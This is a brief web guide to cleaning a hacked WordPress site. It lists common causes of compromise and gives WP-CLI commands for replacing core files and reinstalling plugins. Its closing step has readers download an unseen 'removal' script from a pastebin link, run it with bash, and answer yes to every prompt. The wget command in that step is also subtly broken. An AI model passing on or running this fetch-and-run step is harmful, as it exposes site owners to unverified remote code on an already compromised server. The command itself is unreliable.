Secret to clean hacked WordPress website – guide 2024

1. Outdated WordPress Core, Themes, or Plugins
   • Failure to update the WordPress core, themes, or plugins leaves sites exposed to known vulnerabilities.
2. Use of Nulled Themes and Plugins
   • Nulled themes and plugins are one of the leading causes of hacked WordPress sites because they often contain hidden malware, backdoors, and malicious code that compromise security, making sites highly vulnerable to attacks.
3. Weak Passwords
   • Simple or reused passwords make it easier for hackers to brute-force their way into accounts, especially admin accounts.
4. Insecure Web Hosting
   • Shared hosting environments with poor security measures can lead to cross-site contamination, where one vulnerable site affects others on the same server.
5. Lack of SSL Encryption
   • Sites without HTTPS (SSL certificates) are vulnerable to man-in-the-middle attacks, where hackers can intercept sensitive data.
6. Insecure Plugins or Themes
   • Using plugins or themes from untrusted or unverified sources may introduce malicious code into the site.
7. File Permissions Misconfigurations
   • Improper file permissions on the server can allow unauthorized access to sensitive files and folders, making it easier for attackers to exploit them.
8. Malware or Phishing Attacks
   • Downloading compromised files or falling victim to phishing can lead to malicious code being injected into the site.
9. SQL Injections or Cross-Site Scripting (XSS)
   • Poorly coded forms, search boxes, or comment sections can be exploited by hackers to inject malicious SQL or scripts, gaining access to the site’s database.
10. Default Admin Usernames
    • Using default usernames like ‘admin’ makes it easier for hackers to guess login credentials, increasing the risk of brute-force attacks.

How to clean hacked wordpress website?

The first step to clean hacked wordpress is to replace all WordPress core files, theme files, and plugin files with fresh copies from the official WordPress repository. This ensures that any compromised or altered files are restored to their original, secure state.

For the following steps you need to login to ssh.

1. Replace WordPress Core Files

The first step in cleaning your site is to replace the core WordPress files with fresh, uninfected ones from the official repository.

Steps:

• Delete the wp-admin and wp-includes directories.
• Remove all .php files in the root directory except for wp-config.php. Be cautious and also look for any suspicious files that shouldn’t be there.
• Download the latest WordPress core files from the repository:
  wp core download --force


This command ensures that a fresh, clean version of WordPress is downloaded and replaces the old core files.

2. Reinstall All Plugins

Hacked sites often have compromised plugins, especially if they’re outdated or from untrustworthy sources. Reinstall all plugins to ensure they are clean versions.

Steps:

• Use the following command to force reinstall all active plugins:
  wp plugin install $(wp plugin list --field=name) --force


This command reinstalls each plugin, ensuring fresh, secure copies are in place.

3. Scan and Remove Malware

After replacing the core files and plugins, it’s crucial to scan your site for malware or any remaining malicious code. Use security plugins like Wordfence or Sucuri to perform a full site scan.

Steps:

• Install a security plugin:
  wp plugin install wordfence --activate

• Run a full malware scan to identify and remove any infected files or suspicious code.
• Follow the plugin’s instructions to clean up any malicious files found during the scan.

It is suggested that you set WordFence to high-sensitivity.

Malware removal helper bash script by WPLH:

wget https://pastebin.com/raw/8Gw8f6eR > removal.sh
bash removal.sh

If you are unsure say yes to all prompts.

This steps should help you fully clean hacked wordpress website.